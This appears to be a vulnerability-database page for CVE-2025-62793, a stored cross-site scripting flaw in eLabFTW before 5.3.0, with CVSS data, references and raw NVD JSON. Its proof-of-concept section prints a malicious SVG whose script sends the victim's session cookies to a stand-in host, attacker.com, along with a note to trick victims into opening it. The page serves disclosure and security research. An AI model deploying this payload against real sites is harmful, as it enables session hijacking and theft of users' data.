CVE-2025-62793

Description

eLabFTW is an open source electronic lab notebook for research labs. The application served uploaded SVG files inline. Because SVG supports active content, an attacker could upload a crafted SVG that executes script when viewed, resulting in stored XSS under the application origin. A victim who opens the SVG URL or any page embedding it could have their session hijacked, data exfiltrated, or actions performed on their behalf. This vulnerability is fixed n 5.3.0.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

eLabFTW < 5.3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Malicious SVG payload for CVE-2025-62793 -->
<!-- Upload this file to eLabFTW and trick victim to access it -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    // Steal session cookies and send to attacker server
    var cookies = document.cookie;
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://attacker.com/steal?c=' + encodeURIComponent(cookies), true);
    xhr.send();
    
    // Alternative: using onload event
    // <image href="x" onload="alert(document.cookie)"/>
  </script>
  <rect width="100%" height="100%" fill="red"/>
  <text x="50%" y="50%" text-anchor="middle" fill="white">Malicious SVG</text>
</svg>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62793
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62793
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62793/
[4] VulDB https://vuldb.com/cve/CVE-2025-62793
[5] https://github.com/elabftw/elabftw/commit/09b95e38f82f041edac0dd6962c70499e2d8d8e2
[6] https://github.com/elabftw/elabftw/security/advisories/GHSA-rq98-8jh9-684f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62793", "sourceIdentifier": "[email protected]", "published": "2025-10-27T22:15:42.307", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "eLabFTW is an open source electronic lab notebook for research labs. The application served uploaded SVG files inline. Because SVG supports active content, an attacker could upload a crafted SVG that executes script when viewed, resulting in stored XSS under the application origin. A victim who opens the SVG URL or any page embedding it could have their session hijacked, data exfiltrated, or actions performed on their behalf. This vulnerability is fixed n 5.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/elabftw/elabftw/commit/09b95e38f82f041edac0dd6962c70499e2d8d8e2", "source": "[email protected]"}, {"url": "https://github.com/elabftw/elabftw/security/advisories/GHSA-rq98-8jh9-684f", "source": "[email protected]"}]}}